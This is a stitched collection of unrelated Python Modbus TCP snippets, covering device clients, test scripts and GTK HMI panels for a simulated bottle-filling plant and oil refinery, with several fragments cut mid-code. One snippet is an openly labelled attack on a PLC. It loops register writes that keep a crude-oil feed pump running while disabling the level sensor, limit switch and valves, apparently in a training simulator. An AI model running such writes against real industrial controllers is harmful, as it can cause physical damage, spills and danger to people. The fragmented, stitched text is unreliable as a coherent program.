# -*- coding: utf-8 -*- #!/usr/bin/env python from pymodbus.client.sync import ModbusTcpClient as ModbusClient # INIETTORE pump_host = '10.243.37.106' # 10.243.37.xx pump_port = 502 # 502 client = ModbusClient(pump_host, port=pump_port) ret_p=client.connect() assert(ret_p==True) default_550 = 2 rq = client.write_register(550,default_550,unit=1) assert(rq.function_code < 0x80) rr_p = client.read_holding_registers(500,100,unit=1) assert(len(rr_p.registers)==100) for idx, r in enumerate(rr_p.registers): print "MW5{0:02d}={1}".format(idx,r) print rr_p.registers[0] assert(rr_p.registers[0]==default_550) # registro 500 contiene quanto settato in 550 print "Pump register 500 = {0}".format(rr_p.registers[0]) client.close() # CAVALLETTO 1 manifold_host = '10.243.37.8' # 10.243.37.xx manifold_port = 502 # 502 client = ModbusClient(manifold_host, port=manifold_port) ret_m=client.connect() assert(ret_m==True) rr_m = client.read_holding_registers(0,48) assert(len(rr_m.registers)==48) assert(rr_m.registers[0]==0x5200) print "Manifold 1 first register {0}".format(rr_m.registers[0]) sIPAddr = "%d.%d.%d.%d" % tuple(rr_m.registers[32-1:36-1])
from pymodbus.client.sync import ModbusTcpClient import time import datetime ipAddress = '<your ip address>' client = ModbusTcpClient(ipAddress) while True: print("Running") client.write_register(16, 1) time.sleep(15) client.write_register(16, 0) time.sleep(15)
def raw_data_to_number(val): if (val >> 15) == 1: val = -(val & 0x7FFF) return val if __name__ == '__main__': print "--- START" client = ModbusTcpClient('localhost', port=5020) client.connect() print "Connected to modbus server" print "Calibrate Robot if needed" client.write_register(311, 1) time.sleep(1) # Wait for end of calibration while client.read_input_registers(402, 1).registers[0] == 1: time.sleep(0.05) print "Send a Joint Move command to the robot" joints = [-0.5, 0.0, 0.0, 0.2, 1.2, -1.0] joints_to_send = list( map(lambda j: int(number_to_raw_data(j * 1000)), joints)) print joints_to_send client.write_registers(0, joints_to_send) client.write_register(100, 1)
class HMIWindow(Gtk.Window): def initModbus(self): self.modbusClient = ModbusClient('localhost', port=5020) def resetLabels(self): self.bottlePositionValue.set_markup("<span weight='bold' foreground='gray33'>N/A</span>") self.motorStatusValue.set_markup("<span weight='bold' foreground='gray33'>N/A</span>") self.levelHitValue.set_markup("<span weight='bold' foreground='gray33'>N/A</span>") self.processStatusValue.set_markup("<span weight='bold' foreground='gray33'>N/A</span>") self.nozzleStatusValue.set_markup("<span weight='bold' foreground='gray33'>N/A</span>") self.connectionStatusValue.set_markup("<span weight='bold' foreground='red'>OFFLINE</span>") def __init__(self): Gtk.Window.__init__(self, title="Bottle-filling factory - HMI - VirtuaPlant") self.set_border_width(20) self.initModbus() elementIndex = 0 # Grid grid = Gtk.Grid() grid.set_row_spacing(15) grid.set_column_spacing(10) self.add(grid) # Main title label label = Gtk.Label() label.set_markup("<span weight='bold' size='x-large'>Bottle-filling process status</span>") grid.attach(label, 0, elementIndex, 2, 1) elementIndex += 1 # Bottle in position label bottlePositionLabel = Gtk.Label("Bottle in position") bottlePositionValue = Gtk.Label() grid.attach(bottlePositionLabel, 0, elementIndex, 1, 1) grid.attach(bottlePositionValue, 1, elementIndex, 1, 1) elementIndex += 1 # Nozzle status label nozzleStatusLabel = Gtk.Label("Nozzle Status") nozzleStatusValue = Gtk.Label() grid.attach(nozzleStatusLabel, 0, elementIndex, 1, 1) grid.attach(nozzleStatusValue, 1, elementIndex, 1, 1) elementIndex += 1 # Motor status label motorStatusLabel = Gtk.Label("Motor Status") motorStatusValue = Gtk.Label() grid.attach(motorStatusLabel, 0, elementIndex, 1, 1) grid.attach(motorStatusValue, 1, elementIndex, 1, 1) elementIndex += 1 # Level hit label levelHitLabel = Gtk.Label("Level Hit") levelHitValue = Gtk.Label() grid.attach(levelHitLabel, 0, elementIndex, 1, 1) grid.attach(levelHitValue, 1, elementIndex, 1, 1) elementIndex += 1 # Process status processStatusLabel = Gtk.Label("Process Status") processStatusValue = Gtk.Label() grid.attach(processStatusLabel, 0, elementIndex, 1, 1) grid.attach(processStatusValue, 1, elementIndex, 1, 1) elementIndex += 1 # Connection status connectionStatusLabel = Gtk.Label("Connection Status") connectionStatusValue = Gtk.Label() grid.attach(connectionStatusLabel, 0, elementIndex, 1, 1) grid.attach(connectionStatusValue, 1, elementIndex, 1, 1) elementIndex += 1 # Run and Stop buttons runButton = Gtk.Button("Run") stopButton = Gtk.Button("Stop") runButton.connect("clicked", self.setProcess, 1) stopButton.connect("clicked", self.setProcess, 0) grid.attach(runButton, 0, elementIndex, 1, 1) grid.attach(stopButton, 1, elementIndex, 1, 1) elementIndex += 1 # VirtuaPlant branding virtuaPlant = Gtk.Label() virtuaPlant.set_markup("<span size='small'>VirtuaPlant - HMI</span>") grid.attach(virtuaPlant, 0, elementIndex, 2, 1) # Attach Value Labels self.processStatusValue = processStatusValue self.connectionStatusValue = connectionStatusValue self.levelHitValue = levelHitValue self.motorStatusValue = motorStatusValue self.bottlePositionValue = bottlePositionValue self.nozzleStatusValue = nozzleStatusValue self.resetLabels() GObject.timeout_add_seconds(MODBUS_SLEEP, self.update_status) def setProcess(self, widget, data=None): try: self.modbusClient.write_register(0x10, data) except: pass def update_status(self): try: rr = self.modbusClient.read_holding_registers(1,16) regs = [] if not rr or not rr.registers: raise ConnectionException regs = rr.registers if not regs or len(regs) < 16: raise ConnectionException if regs[1] == 1: self.bottlePositionValue.set_markup("<span weight='bold' foreground='green'>YES</span>") else: self.bottlePositionValue.set_markup("<span weight='bold' foreground='red'>NO</span>") if regs[0] == 1: self.levelHitValue.set_markup("<span weight='bold' foreground='green'>YES</span>") else: self.levelHitValue.set_markup("<span weight='bold' foreground='red'>NO</span>") if regs[2] == 1: self.motorStatusValue.set_markup("<span weight='bold' foreground='green'>ON</span>") else: self.motorStatusValue.set_markup("<span weight='bold' foreground='red'>OFF</span>") if regs[3] == 1: self.nozzleStatusValue.set_markup("<span weight='bold' foreground='green'>OPEN</span>") else: self.nozzleStatusValue.set_markup("<span weight='bold' foreground='red'>CLOSED</span>") if regs[15] == 1: self.processStatusValue.set_markup("<span weight='bold' foreground='green'>RUNNING</span>") else: self.processStatusValue.set_markup("<span weight='bold' foreground='red'>STOPPED</span>") self.connectionStatusValue.set_markup("<span weight='bold' foreground='green'>ONLINE</span>") except ConnectionException: if not self.modbusClient.connect(): self.resetLabels() except: raise finally: return True
class ClientModBus: """ Implementation of a client modbus """ def __init__(self, address='localhost', port=502): """ Initialize a modbus client instance :param address: The tcp address to connect to (default localhost) :param port: The modbus port to connect to (default 502) """ self.UNIT = 0 self.address = address self.port = port self.clientVenus = ModbusClient(self.address, port=self.port) # ------------- Name, Register, unit ID, scale, type, length in bits -------------- # self.registers = [["Power_PvOnGrid_L1", 811, 100, 1, "uint", 16], ["Power_PvOnGrid_L2", 812, 100, 1, "uint", 16], ["Power_PvOnGrid_L3", 813, 100, 1, "uint", 16], ["Power_Consumption_L1", 817, 100, 1, "uint", 16], ["Power_Consumption_L2", 818, 100, 1, "uint", 16], ["Power_Consumption_L3", 819, 100, 1, "uint", 16], ["Power_Grid_L1", 820, 100, 1, "int", 16], ["Power_Grid_L2", 821, 100, 1, "int", 16], ["Power_Grid_L3", 822, 100, 1, "int", 16], ["Power_Genset_L1", 823, 100, 1, "int", 16], ["Power_Genset_L2", 824, 100, 1, "int", 16], ["Power_Genset_L3", 825, 100, 1, "int", 16], ["Voltage_Battery", 840, 100, 0.1, "uint", 16], ["Current_Battery", 841, 100, 0.1, "int", 16], ["Power_Battery", 842, 100, 1, "int", 16], ["Percent_Soc_Battery", 843, 100, 1, "uint", 16], ["State_Battery", 844, 100, 1, "uint", 16], [ "Amphours_Consumed_Battery", 845, 100, 0.1, "uint", 16 ], ["Sec_TimeToGo_Battery", 846, 100, 100, "uint", 16], ["Alarms_High_Temperature", 34, 242, 1, "uint", 16], ["Alarms_LowBattery", 35, 242, 1, "uint", 16], ["Alarms_Overload", 36, 242, 1, "uint", 16], ["State_Relay_0", 806, 100, 1, "uint", 16], ["State_Relay_1", 807, 100, 1, "uint", 16], ["Power_AC_SetPoint", 2700, 100, 1, "int", 16], ["Percent_Max_Charge", 2701, 100, 1, "uint", 16], ["Percent_Max_Discharge", 2702, 100, 1, "uint", 16]] def connect(self): """ connect to ServerModBus """ self.clientVenus.connect() def disconnect(self): """ Disconnect from the ServerModBus """ self.clientVenus.close() def get_registers(self): """ read registers :return allRegisters: the list of all registers """ all_registers = [] for y in range(0, len(self.registers)): self.UNIT = self.registers[y][2] # unit id all_registers.append(self.registers[y][0]) # name all_registers.append(self.registers[y][3]) # scaling registers = self.clientVenus.read_holding_registers( self.registers[y][1], 1, unit=self.UNIT) # value if registers.isError() != 0: # test that we are not an error print(all_registers.index(len(all_registers) - 1), registers) else: # CONVERT TO GOOD TYPE if self.registers[y][4] == "uint": if self.registers[y][5] == 16: all_registers.append(np.uint32( registers.registers[0])) # uint16 elif self.registers[y][5] == 32: all_registers.append(np.uint32( registers.registers[0])) # uint32 elif self.registers[y][4] == "int": if self.registers[y][5] == 16: all_registers.append(np.int16( registers.registers[0])) # int16 elif self.registers[y][5] == 32: all_registers.append(np.int32( registers.registers[0])) # int32 return all_registers # name;scaling;value def set_register(self, register, value): """ write registers :param register: a register to set :param value: a value of the registers to set """ write_register = self.clientVenus.write_register(register, value) if write_register.isError() != 0: # test that we are not an error print("write_register Error:", write_register)
def run_sync_client(): # ------------------------------------------------------------------------# # choose the client you want # ------------------------------------------------------------------------# # make sure to start an implementation to hit against. For this # you can use an existing device, the reference implementation in the tools # directory, or start a pymodbus server. # # If you use the UDP or TCP clients, you can override the framer being used # to use a custom implementation (say RTU over TCP). By default they use # the socket framer:: # # client = ModbusClient('localhost', port=5020, framer=ModbusRtuFramer) # # It should be noted that you can supply an ipv4 or an ipv6 host address # for both the UDP and TCP clients. # # There are also other options that can be set on the client that controls # how transactions are performed. The current ones are: # # * retries - Specify how many retries to allow per transaction (default=3) # * retry_on_empty - Is an empty response a retry (default = False) # * source_address - Specifies the TCP source address to bind to # # Here is an example of using these options:: # # client = ModbusClient('localhost', retries=3, retry_on_empty=True) # ------------------------------------------------------------------------# client = ModbusClient('localhost', port=5020) # client = ModbusClient(method='ascii', port='/dev/pts/2', timeout=1) # client = ModbusClient(method='rtu', port='/dev/ttyp0', timeout=1) client.connect() # ------------------------------------------------------------------------# # specify slave to query # ------------------------------------------------------------------------# # The slave to query is specified in an optional parameter for each # individual request. This can be done by specifying the `unit` parameter # which defaults to `0x00` # ----------------------------------------------------------------------- # log.debug("Reading Coils") rr = client.read_coils(1, 1, unit=0x01) print(rr) # ----------------------------------------------------------------------- # # example requests # ----------------------------------------------------------------------- # # simply call the methods that you would like to use. An example session # is displayed below along with some assert checks. Note that some modbus # implementations differentiate holding/input discrete/coils and as such # you will not be able to write to these, therefore the starting values # are not known to these tests. Furthermore, some use the same memory # blocks for the two sets, so a change to one is a change to the other. # Keep both of these cases in mind when testing as the following will # _only_ pass with the supplied async modbus server (script supplied). # ----------------------------------------------------------------------- # log.debug("Write to a Coil and read back") rq = client.write_coil(0, True, unit=UNIT) rr = client.read_coils(0, 1, unit=UNIT) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.bits[0] == True) # test the expected value log.debug("Write to multiple coils and read back- test 1") rq = client.write_coils(1, [True]*8, unit=UNIT) assert(rq.function_code < 0x80) # test that we are not an error rr = client.read_coils(1, 21, unit=UNIT) assert(rr.function_code < 0x80) # test that we are not an error resp = [True]*21 # If the returned output quantity is not a multiple of eight, # the remaining bits in the final data byte will be padded with zeros # (toward the high order end of the byte). resp.extend([False]*3) assert(rr.bits == resp) # test the expected value log.debug("Write to multiple coils and read back - test 2") rq = client.write_coils(1, [False]*8, unit=UNIT) rr = client.read_coils(1, 8, unit=UNIT) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.bits == [False]*8) # test the expected value log.debug("Read discrete inputs") rr = client.read_discrete_inputs(0, 8, unit=UNIT) assert(rq.function_code < 0x80) # test that we are not an error log.debug("Write to a holding register and read back") rq = client.write_register(1, 10, unit=UNIT) rr = client.read_holding_registers(1, 1, unit=UNIT) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.registers[0] == 10) # test the expected value log.debug("Write to multiple holding registers and read back") rq = client.write_registers(1, [10]*8, unit=UNIT) rr = client.read_holding_registers(1, 8, unit=UNIT) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.registers == [10]*8) # test the expected value log.debug("Read input registers") rr = client.read_input_registers(1, 8, unit=UNIT) assert(rq.function_code < 0x80) # test that we are not an error arguments = { 'read_address': 1, 'read_count': 8, 'write_address': 1, 'write_registers': [20]*8, } log.debug("Read write registeres simulataneously") rq = client.readwrite_registers(unit=UNIT, **arguments) rr = client.read_holding_registers(1, 8, unit=UNIT) assert(rq.function_code < 0x80) # test that we are not an error assert(rq.registers == [20]*8) # test the expected value assert(rr.registers == [20]*8) # test the expected value # ----------------------------------------------------------------------- # # close the client # ----------------------------------------------------------------------- # client.close()
add_row(temp) visuAdd() merge_rows() break if mode ==1: time.sleep(45) send_location = update() s_row_Place = send_location%100%10 s_row = send_location//10%10 s_shelf = send_location//100 s_shelf = s_shelf-1 s_row = s_row - 1 s_row_Place = s_row_Place - 1 client.write_register(0,s_shelf) client.write_register(1,s_row) client.write_register(2,s_row_Place) print 'Unstoring Item on '+ str(send_location) client.write_register(3,1) time.sleep(3) client.write_register(3,0) visuRemove(send_location) while True: xStart = read_register(4) if xStart == 0: break removefromdb() break else:
class clientthreads(threading.Thread): def __init__(self, vnic, ipaddr, port): threading.Thread.__init__(self) self.ipaddr = ipaddr # ip address self.port = port # port address self.vnic = vnic # virtual nic self.mode = "" # server or client self.state = "" # up or down self.dest = "" # destination address for client self.clientstop = threading.Event() self.server = "" self.client = "" self.framer = "" self.vnicm = "" self.runtime= 0 self.delayr = random.uniform(0,5) self.delayw = random.uniform(0,60) self.firstdelay = 0 self.pstart= "" def run(self): self.client = ModbusTcpClient(self.dest, self.port, source_address=(self.ipaddr, 0), retries=1, retry_on_empty=True) if(self.mode=="read"): self.clientintr() elif(self.mode=="write"): self.clientintw() else: print "wrong mode specified" def clientintr(self): # instantiate server stuff while(not self.clientstop.is_set()): if(time.time() - self.pstart > self.runtime): print "stopping" break if(self.firstdelay < 1): print "Start RDelay is: " + str(self.delayr) time.sleep(self.delayr) self.firstdelay = 1 print "Starting Reads" self.clientreads() print "\n\r-----read-----\n\r" print self.dest print time.time() - self.pstart print "------------------\n\r" def clientintw(self): # instantiate server stuff while(not self.clientstop.is_set()): if(time.time() - self.pstart > self.runtime): print "stopping" break if(self.firstdelay < 1): print "Start WDelay is: " + str(self.delayw) time.sleep(self.delayw) self.firstdelay = 1 print "Starting Writes" self.clientwrites() print "\n\r-----write----\n\r" print self.dest print time.time() - self.pstart print "------------------\n\r" def clientreads(self): self.client.read_coils(1, 10) self.client.read_discrete_inputs(1, 10) self.client.read_holding_registers(1, 10) self.client.read_input_registers(1, 10) time.sleep(5) def clientwrites(self): self.client.write_coil(1, True) self.client.write_register(1, 3) self.client.write_coils(1, [True]*10) self.client.write_registers(1, [3]*10) time.sleep(60) def alloc(self): # Allocate ip address if (validateIP(self.ipaddr, self.vnicm)): cmdargs = [self.vnic, self.ipaddr] subprocess.call(["ifconfig"] + cmdargs) else: return 0 def dealloc(self): # De-allocate ip address cmdargs = [self.vnic] subprocess.call(["ifconfig"] + cmdargs + ["down"]) def stop(self): self.clientstop.set() return
type=int, choices=[1, 3], help="phases to activate") parser.add_argument("-d", "--duration", required=False, type=int, default=1, help="duration in seconds, defaults to 1") parser.add_argument("-v", "--verbose", required=False, action="store_true", help="verbose debug output") args = parser.parse_args() if (args.verbose): print("Wartezeit vor und nach %dp Umschaltung %s #%d: %ds" % (args.phases, args.address, args.id, args.duration)) client = ModbusTcpClient(args.address, port=8899) if (args.phases == 1): rq = client.write_register(0x0001, 256, unit=args.id) time.sleep(args.duration) rq = client.write_register(0x0001, 512, unit=args.id) elif (args.phases == 3): rq = client.write_register(0x0002, 256, unit=args.id) time.sleep(args.duration) rq = client.write_register(0x0002, 512, unit=args.id)
class HMIWindow(Gtk.Window): oil_processed_amount = 0 oil_spilled_amount = 0 def initModbus(self): # Create modbus connection to specified address and port self.modbusClient = ModbusClient(args.server_addr, port=5020) # Default values for the HMI labels def resetLabels(self): self.feed_pump_value.set_markup("<span weight='bold' foreground='gray33'>N/A</span>") self.separator_value.set_markup("<span weight='bold' foreground='gray33'>N/A</span>") self.level_switch_value.set_markup("<span weight='bold' foreground='gray33'>N/A</span>") self.process_status_value.set_markup("<span weight='bold' foreground='gray33'>N/A</span>") self.connection_status_value.set_markup("<span weight='bold' foreground='red'>OFFLINE</span>") self.oil_processed_value.set_markup("<span weight='bold' foreground='green'>" + str(self.oil_processed_amount) + " Liters</span>") self.oil_spilled_value.set_markup("<span weight='bold' foreground='red'>" + str(self.oil_spilled_amount) + " Liters</span>") self.outlet_valve_value.set_markup("<span weight='bold' foreground='red'>N/A</span>") self.waste_value.set_markup("<span weight='bold' foreground='red'>N/A</span>") def __init__(self): # Window title Gtk.Window.__init__(self, title="Oil Refinery") self.set_border_width(100) #Create modbus connection self.initModbus() elementIndex = 0 # Grid grid = Gtk.Grid() grid.set_row_spacing(15) grid.set_column_spacing(10) self.add(grid) # Main title label label = Gtk.Label() label.set_markup("<span weight='bold' size='xx-large' color='black'>Crude Oil Pretreatment Unit </span>") grid.attach(label, 4, elementIndex, 4, 1) elementIndex += 1 # Crude Oil Feed Pump feed_pump_label = Gtk.Label("Crude Oil Tank Feed Pump") feed_pump_value = Gtk.Label() feed_pump_start_button = Gtk.Button("START") feed_pump_stop_button = Gtk.Button("STOP") feed_pump_start_button.connect("clicked", self.setPump, 1) feed_pump_stop_button.connect("clicked", self.setPump, 0) grid.attach(feed_pump_label, 4, elementIndex, 1, 1) grid.attach(feed_pump_value, 5, elementIndex, 1, 1) grid.attach(feed_pump_start_button, 6, elementIndex, 1, 1) grid.attach(feed_pump_stop_button, 7, elementIndex, 1, 1) elementIndex += 1 # Level Switch level_switch_label = Gtk.Label("Crude Oil Tank Level Switch") level_switch_value = Gtk.Label() level_switch_start_button = Gtk.Button("ON") level_switch_stop_button = Gtk.Button("OFF") level_switch_start_button.connect("clicked", self.setTankLevel, 1) level_switch_stop_button.connect("clicked", self.setTankLevel, 0) grid.attach(level_switch_label, 4, elementIndex, 1, 1) grid.attach(level_switch_value, 5, elementIndex, 1, 1) grid.attach(level_switch_start_button, 6, elementIndex, 1, 1) grid.attach(level_switch_stop_button, 7, elementIndex, 1, 1) elementIndex += 1 #outlet valve outlet_valve_label = Gtk.Label("Outlet Valve") outlet_valve_value = Gtk.Label() outlet_vlave_open_button = Gtk.Button("OPEN") outlet_valve_close_button = Gtk.Button("CLOSE") outlet_vlave_open_button.connect("clicked", self.setOutletValve, 1) outlet_valve_close_button.connect("clicked", self.setOutletValve, 0) grid.attach(outlet_valve_label, 4, elementIndex, 1, 1) grid.attach(outlet_valve_value, 5, elementIndex, 1, 1) grid.attach(outlet_vlave_open_button, 6, elementIndex, 1, 1) grid.attach(outlet_valve_close_button, 7, elementIndex, 1, 1) elementIndex += 1 #Separator Vessel separator_label = Gtk.Label("Separator Vessel Valve") separator_value = Gtk.Label() separator_open_button = Gtk.Button("OPEN") separator_close_button = Gtk.Button("CLOSED") separator_open_button.connect("clicked", self.setSepValve, 1) separator_close_button.connect("clicked", self.setSepValve, 0) grid.attach(separator_label, 4, elementIndex, 1, 1) grid.attach(separator_value, 5, elementIndex, 1, 1) grid.attach(separator_open_button, 6, elementIndex, 1, 1) grid.attach(separator_close_button, 7, elementIndex, 1, 1) elementIndex += 1 #Waste Water Valve waste_label = Gtk.Label("Waste Water Valve") waste_value = Gtk.Label() waste_open_button = Gtk.Button("OPEN") waste_close_button = Gtk.Button("CLOSED") waste_open_button.connect("clicked", self.setWasteValve, 1) waste_close_button.connect("clicked", self.setWasteValve, 0) grid.attach(waste_label, 4, elementIndex, 1, 1) grid.attach(waste_value, 5, elementIndex, 1, 1) grid.attach(waste_open_button, 6, elementIndex, 1, 1) grid.attach(waste_close_button, 7, elementIndex, 1, 1) elementIndex += 1 # Process status process_status_label = Gtk.Label("Process Status") process_status_value = Gtk.Label() grid.attach(process_status_label, 4, elementIndex, 1, 1) grid.attach(process_status_value, 5, elementIndex, 1, 1) elementIndex += 1 # Connection status connection_status_label = Gtk.Label("Connection Status") connection_status_value = Gtk.Label() grid.attach(connection_status_label, 4, elementIndex, 1, 1) grid.attach(connection_status_value, 5, elementIndex, 1, 1) elementIndex += 1 # Oil Processed Status oil_processed_label = Gtk.Label("Oil Processed Status") oil_processed_value = Gtk.Label() grid.attach(oil_processed_label, 4, elementIndex, 1, 1) grid.attach(oil_processed_value, 5, elementIndex, 1, 1) elementIndex += 1 # Oil Spilled Status oil_spilled_label = Gtk.Label("Oil Spilled Status") oil_spilled_value = Gtk.Label() grid.attach(oil_spilled_label, 4, elementIndex, 1, 1) grid.attach(oil_spilled_value, 5, elementIndex, 1, 1) elementIndex += 1 # Oil Refienery branding virtual_refinery = Gtk.Label() virtual_refinery.set_markup("<span size='small'>Crude Oil Pretreatment Unit - HMI</span>") grid.attach(virtual_refinery, 4, elementIndex, 2, 1) # Attach Value Labels self.feed_pump_value = feed_pump_value self.process_status_value = process_status_value self.connection_status_value = connection_status_value self.separator_value = separator_value self.level_switch_value = level_switch_value self.oil_processed_value = oil_processed_value self.oil_spilled_value = oil_spilled_value self.outlet_valve_value = outlet_valve_value self.waste_value = waste_value # Set default label values self.resetLabels() GObject.timeout_add_seconds(MODBUS_SLEEP, self.update_status) # Control the feed pump register values def setPump(self, widget, data=None): try: self.modbusClient.write_register(0x01, data) except: pass # Control the tank level register values def setTankLevel(self, widget, data=None): try: self.modbusClient.write_register(0x02, data) except: pass # Control the separator vessel level register values def setSepValve(self, widget, data=None): try: self.modbusClient.write_register(0x04, data) except: pass # Control the separator vessel level register values def setWasteValve(self, widget, data=None): try: self.modbusClient.write_register(0x08, data) except: pass def setOutletValve(self, widget, data=None): try: self.modbusClient.write_register(0x03, data) except: pass def update_status(self): try: # Store the registers of the PLC in "rr" rr = self.modbusClient.read_holding_registers(1,16) regs = [] # If we get back a blank response, something happened connecting to the PLC if not rr or not rr.registers: raise ConnectionException # Regs is an iterable list of register key:values regs = rr.registers if not regs or len(regs) < 16: raise ConnectionException # If the feed pump "0x01" is set to 1, then the pump is running if regs[0] == 1: self.feed_pump_value.set_markup("<span weight='bold' foreground='green'>RUNNING</span>") else: self.feed_pump_value.set_markup("<span weight='bold' foreground='red'>STOPPED</span>") # If the level sensor is ON if regs[1] == 1: self.level_switch_value.set_markup("<span weight='bold' foreground='green'>ON</span>") else: self.level_switch_value.set_markup("<span weight='bold' foreground='red'>OFF</span>") # Outlet Valve status if regs[2] == 1: self.outlet_valve_value.set_markup("<span weight='bold' foreground='green'>OPEN</span>") else: self.outlet_valve_value.set_markup("<span weight='bold' foreground='red'>CLOSED</span>") # If the feed pump "0x04" is set to 1, separator valve is open if regs[3] == 1: self.separator_value.set_markup("<span weight='bold' foreground='green'>OPEN</span>") self.process_status_value.set_markup("<span weight='bold' foreground='green'>RUNNING </span>") else: self.separator_value.set_markup("<span weight='bold' foreground='red'>CLOSED</span>") self.process_status_value.set_markup("<span weight='bold' foreground='red'>STOPPED </span>") # Waste Valve status "0x08" if regs[7] == 1: self.waste_value.set_markup("<span weight='bold' foreground='green'>OPEN</span>") else: self.waste_value.set_markup("<span weight='bold' foreground='red'>CLOSED</span>") # If the oil spilled tag gets set, increase the amount of oil we have spilled if regs[5]: self.oil_spilled_value.set_markup("<span weight='bold' foreground='red'>" + str(regs[5]) + " Liters</span>") # If the oil spilled tag gets set, increase the amount of oil we have spilled if regs[6]: self.oil_processed_value.set_markup("<span weight='bold' foreground='green'>" + str(regs[6] + regs[8]) + " Liters</span>") # If we successfully connect, then show that the HMI has contacted the PLC self.connection_status_value.set_markup("<span weight='bold' foreground='green'>ONLINE </span>") except ConnectionException: if not self.modbusClient.connect(): self.resetLabels() except: raise finally: return True
if __name__ == "__main__": print "=== Modbus client (Temperature Sensor) ===" parser = argparse.ArgumentParser(description='Modbus client') parser.add_argument('ip', default='localhost', help='IP adress of modbus server') args = parser.parse_args() client = ModbusTcpClient(args.ip) try: while True: tfile = open("/sys/bus/w1/devices/28-00000625a0cd/w1_slave") text = tfile.read() tfile.close() secondline = text.split("\n")[1] temperaturedata = secondline.split(" ")[9] temperature = float(temperaturedata[2:]) client.write_register(1, temperature) temperature = temperature / 1000 print temperature time.sleep(update_interval) except KeyboardInterrupt: print 'Stopping program' except Exception: traceback.print_exc(file=sys.stdout) client.close() print 'Done' sys.exit(0)
logging.basicConfig() log = logging.getLogger() log.setLevel(logging.INFO) ##################################### # Code ##################################### client = ModbusClient(args.target, port=5020) try: client.connect() print ". . . Connecting to PLC" print ". . . Please wait." time.sleep(3) print ". . . Attacking PLC at " + args.target + ":5020" time.sleep(1) print ". . . Attack successful!" print ". . . PLC will now constantly pump oil" while True: rq = client.write_register(0x01, 1) # Run Plant, Run! rq = client.write_register(0x02, 0) # Level Sensor rq = client.write_register(0x04, 0) # Limit Switch rq = client.write_register(0x03, 0) # Outlet valve rq = client.write_register(0x08, 0) # Waste valve except KeyboardInterrupt: client.close() except ConnectionException: print "Unable to connect / Connection lost"
# log = logging.getLogger() # log.setLevel(logging.DEBUG) # TODO: check retries, and other options client = ModbusClient(args.ip, port=args.port) # retries=3, retry_on_empty=True) client.connect() # TODO: check if asserts are slowing down read/write if args.mode == 'w': # NOTE: write_register if args.type == 'HR': if args.count == 1: hr_write = client.write_register(args.offset, args.register[0]) assert (hr_write.function_code < 0x80) else: hrs_write = client.write_registers(args.offset, args.register) assert (hrs_write.function_code < 0x80) # NOTE: write_coil: map integers to bools elif args.type == 'CO': if args.count == 1: # NOTE: coil is a list with one bool if args.coil[0] == 1: co_write = client.write_coil(args.offset, True) else: co_write = client.write_coil(args.offset, False) assert (co_write.function_code < 0x80)
# test iniettore client = ModbusClient('localhost', port=5020) client.connect() # verifico i primi 2 registri di cui so qualcosa rr = client.read_holding_registers(40001,2) print rr.registers assert(rr.registers[0] == 12345) # test the expected value (pump test è 12345) # leggo 560, COMANDO BAR DA REMOTO rr = client.read_holding_registers(40560,1) print rr.registers # Incremento di 1 il registro 560, COMANDO BAR DA REMOTO rq = client.write_register(40560, rr.registers[0]+1) assert(rq.function_code < 0x80) # test that we are not an error # Leggo STATO INIETTORE CON ALLARMI print "Leggo STATO INIETTORE CON ALLARMI" rr = client.read_holding_registers(40502,5) decoder = BinaryPayloadDecoder.fromRegisters(rr.registers,endian=Endian.Little) # 502 bits_502 = decoder.decode_bits() bits_502 += decoder.decode_bits() # 503 bits_503 = decoder.decode_bits() bits_503 += decoder.decode_bits() # 504 bits_504 = decoder.decode_bits() bits_504 += decoder.decode_bits() # 505
def raw_data_to_number(val): if (val >> 15) == 1: val = -(val & 0x7FFF) return val if __name__ == '__main__': print "--- START" client = ModbusTcpClient('169.254.200.200', port=5020) client.connect() print "Connected to modbus server" print "Enable conveyor 1" client.write_register(520, 1) time.sleep(1) print "set direction to forward" client.write_register(523, 1) time.sleep(1) print "set speed to 50%" client.write_register(524, 50) time.sleep(1) print "start conveyor 1" client.write_register(522, 1) time.sleep(1) time.sleep(10)
class ModbusClient: connected = False def __init__(self, *kwargs): self.connect() def connect(self): """Open Modbus connection """ if not self.connected: self.client = ModbusTcpClient("192.168.50.238", port=502) self.client.connect() self.connected = True def transfer_bahn_nr(self, nr): """Send the number to PLC :Parameters: `nr`: int number of bahn to build :Returns: bool, True if processing went well """ # Write number into memory print "write number", nr rq = self.client.write_register(532, nr) # Set flag to true/false => PLC reads the value in memory rq = self.client.write_coil(8481, True) time.sleep(1) rq = self.client.write_coil(8481, False) return True def start_build(self): """Start the build process """ rq = self.client.write_coil(8480, True) time.sleep(0.5) rq = self.client.write_coil(8480, False) def read_active_bahn(self): """Read the current loaded bahn from the PLC :Returns: int, Number of bahn which is currently loaded """ rq = self.client.read_holding_registers(533, 1) return int(rq.registers[0]) def is_machine_building(self): """ :Returns: bool, True if machine is building """ def send_array(self, array): """Send the array to PLC :Parameters: `array`: list list with dictionaries of cubes :Returns: bool, True if sending went well. """ if not self.connected: print ("You don't have an open Modbus connection! - please restart server!") return False # check array size AMMOUNT_OF_CUBES = 106 c = 0 for cube in array: c += 1 if c != AMMOUNT_OF_CUBES: print ("Array size isn't suitable. - size is: " + str(c) + " but it should be:" + str(AMMOUNT_OF_CUBES)) return False # write cubes into PLC lis = array c = 0 for cube in lis: try: # write x rq = self.client.write_register(c, cube["x"]) c += 1 # write y rq = self.client.write_register(c, cube["y"]) c += 1 # write z rq = self.client.write_register(c, cube["z"]) c += 1 # write rot rq = self.client.write_register(c, cube["typ"]) c += 1 # write type rq = self.client.write_register(c, cube["rot"]) c += 1 except: print ("Can't send the cube data to PLC over Modbus") print ("Cubes sent to PLC") return True